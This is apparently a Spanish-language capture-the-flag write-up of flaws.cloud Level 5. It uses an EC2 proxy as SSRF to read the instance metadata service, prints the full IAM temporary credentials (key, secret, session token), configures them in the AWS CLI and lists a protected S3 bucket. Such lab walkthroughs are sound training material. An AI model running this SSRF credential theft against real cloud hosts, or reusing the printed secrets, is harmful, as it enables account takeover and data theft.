Level 5
http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c/
En este nivel nos dicen que el EC2 tiene un proxy que se usa así:
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/PAGE/
y que tenemos que aprovecharlo para listar los contenidos del bucket del nivel 6
http://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/
Si intentamos listar con la técnica del nivel 1:
https://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud.s3.amazonaws.com
Nos tira Acceso denegado.
Podemos leer la metadata del EC2, a través del proxy (SSRF)
http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/
curl http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
{
"Code" : "Success",
"LastUpdated" : "2025-10-26T20:40:43Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA6GG7PSQGVIISET5W",
"SecretAccessKey" : "uNfMgk4cH/HzReJYk6yFZGch2WeC0emR0pyic+7d",
"Token" : "IQoJb3JpZ2luX2VjEN3//////////wEaCXVzLXdlc3QtMiJIMEYCIQCY/mXGcOdEUnXhvsBoMBTvzkIjizeu94w6NPzWMNKtmAIhAMBTd2F2iRz3duBQjDhOo3sFloRbfqmd6MFj7jJDW54xKrsFCJb//////////wEQBBoMOTc1NDI2MjYyMDI5Igxty0tVXzN6bpid2fQqjwVxxL9Z8x2ZrveGy5oFEc8EI8Wbg02+22sAjaD/uO8l/NHkWB8tfK8oFW7oS3eJB+VG1/a+6tv9YGXaz4x4Q4c+TqLhZAAlmQel/d5gDCQIL/nF4OrjcAlYje3mTnNrtDWRawzTFuLvZmXiCV+DCi/30WK+i8X1f0Z0Q7nS8oa3Ca6jt0f42EbssKJQaUZcCKNyfioMGZiejmooeOm+5zzCRvY/SKPJfvA+CbV+q4Bm9Uo2WvR/SRNeQZT1ogJjuNQyE55dbVhufR0xYw46Y/GzVlKU41SAfeZGiro5AdU/29AaDcSWhndJpqxXKONB3jJ1LImaE5FwFIXyuW5FtBBm1j895jk1/Rr4DosEfexHPn9Z5dXTkPrjVnFlgIOC2rz7fdO310zlMPFPDjgUhOHVqJMZ5aE6wx+YffFeb5p++QBI7x2p/g2jTFPZsJu7RKGpcKj3KIh5KeD38O5nC60EpHrVcJ57wL5W2kD4ffFP9IqFfdZIbjMaOqPXQtj45NJWa5dgbllK4eqMa8zokSmDRaydE6RZigOAzC2uCAYxToMgTsB3O9kB/XK9ZMltopgtneGT51cLoILH5TNF7FDcz/p6PVfpXIe9yPTiyzMRZYzNLZYS5PHz0jToLOrzUUtZ8/LVuySt0ZDSQhAmuOBULn+m9Oz1f2JywLeZct7G56LMaoXHWymcMwvbdeNBXmQDRxmpfnV4EG+ciXB/CyYBOuqYZ4hL141irspZXKu0n6pkrcEWcGjexL9xiRrydJjIkWRcrDoCUP3XMYmuCyKSY0/J32O5Ps0+Ty2IMZUOjiCl4DmSzb0y0i29I9Lu+tSQi0MxntO3v7TYNSi5c9NDf3cEVzQRlqmRIPxB39RMMJqO+scGOrABUIt+sdRlDz6aEql7ciaVOMA4cXXFZDIknnXgLbQ6GocXQaQar9jTflwFexYMMpSNVDMYBrkq6978Wy3vSmXZ/OV7YOtkiFBqEkvd91eAnyUpvWFCAqRSudPUPFbvsGTt/DFNArQPJA/lp3Tu2//n2thBeFCLxpnd+6nHEUEgC0uH0BMFeq7Q+wbkO/R5C2o3/KQVbWUVoRFn36fVNiMp/SAjzpfuOOZ/W1OoyaiPXBE=",
"Expiration" : "2025-10-27T02:48:17Z"
}
Se trata de credenciales temporales de Rol de IAM , para ser usadas de forma temporal por ese EC2 y autenticarse contra otros servicios de AWS
Para usarlas, nos creamos un profile con esas credenciales :
aws configure --profile ctf3
ASIA6GG7PSQGVIISET5W
xVbg1y8/hXJV9HAsBg0YCXSTxv+rl2L4uAApum15
IQoJb3JpZ2luX2VjEN3//////////wEaCXVzLXdlc3QtMiJIMEYCIQDYBSWEqQvY4s5ID0Q1TisbRbQtOEKG9D8lp7R1lL197QIhAOjGJGS/zyITVOkxyMpzYvitPRj1fj6SfN1mT7LGpTcxKs8ECJb//////////wEQBBoMOTc1NDI2MjYyMDI5IgxW7+Im1D+KxDb3+SIqowTNJ2aT3RTEh7X7RzOgcF9/WYZEyxYl3Id6ED/xFMllrIP9keDPZi2P6V4kYMz8gVysb+Dzi8iNTzLDBNG2+YjFtoni2SdNk/+i6fpQmpKqiS0XT8v5pxCua9mtd5lGLWcvuS44OzaCmJ6ri0vHW5tQWEPY/4R8zdjYLhdu5Hmu6PVrWq4Hp9nY6TIhTYMn8sBcgmEPxC9mITtq6LK4q9fodjOf11jyNZV1UG8IVVevrSZqWafABLzoLdj0G43VT1SxAnltgD6ptxC++FHfWMiovhy8xDGrnibhl8RXWIs0fazKAPlqEYEnDxNqjUKf7ej1kmY0H8Wctw19dQY0kV5dbkdCa2OqgYSHe3dN8cBurBygLOep3Dt1NnMuF/HI1bWcJlACvwNmJ2Y+l8V+23XKvLAnZCyuKx82visUPaWBO73X32DDuYNOgWiv5oQeAgZh2eCIds0AcXO2mWnAWvqMG5SmzP19i0hZwXckfY6IfHc0+KnQNjfgvlvKaJYj+nKIZx2J/SvP4XDGZYH12A4y1FPXft4Vj1CQXUxMYUerTd4ebIcGOK1uY5U4TGV0HlIDLC2iZJe3o7Q5C2bTiGxPIAHdlwWv0J3ufEeCpJ2H1vyaStDfhPLuD1ghep3tNf6dvV025eKH8m5sYmX1GkI0jkgC7qjBckBlcZVs5INuNjk/cDVkzdBP71uS1RUsrD7pCEV5vMxE8jY0CzdQLDnFTdcEMJqO+scGOpICw9DeoTBYiacDTtAcl0G6nPNx+ZxVA0GiLgj2X8OtiFnB/TJVDYBjRKmtbdB3N5udYdiw2E943GzYwoyDHMFhG8V+EHKhdjrKcy3xz10Zs5Z8Dpx1V6aMrR49pdQ2huXwyQzggKl8WY2A4boYiHD4AJirD53S2ThFn5PuPqYTBr/ArYjbVdYc1L0xYJdtWzFjqfPi3FKo3QuzTRg15uEzxqD/iaSAoPkxeJsY7ahl4swMMw/DrVMVpFFVDYqfX0gY3G59K3HY0GIAxLZTvpZcC7ptS0X06OFtJjrFMEiEkTg5LcLWTjRK+09GZpZqfl50Z+lNY6EagfVTN0hY7jpZ0a/nVLFxGDzfomC+a+BevB896g==
json
Se trata de credenciales temporales, generadas por el servicio STS (empiezan con ASIA...)
Nos habremos autenticado como esa iam de esa ec2, como el rol que la ec2 está asumiendo:
aws sts get-caller-identity --profile ctf3
{
"UserId": "975426262029:aws:ec2-instance:i-05bef8a081f307783",
"Account": "975426262029",
"Arn": "arn:aws:sts::975426262029:assumed-role/aws:ec2-instance/i-05bef8a081f307783"
}
Listamos los contenidos del bucket objetivo :
aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud/ --profile ctf3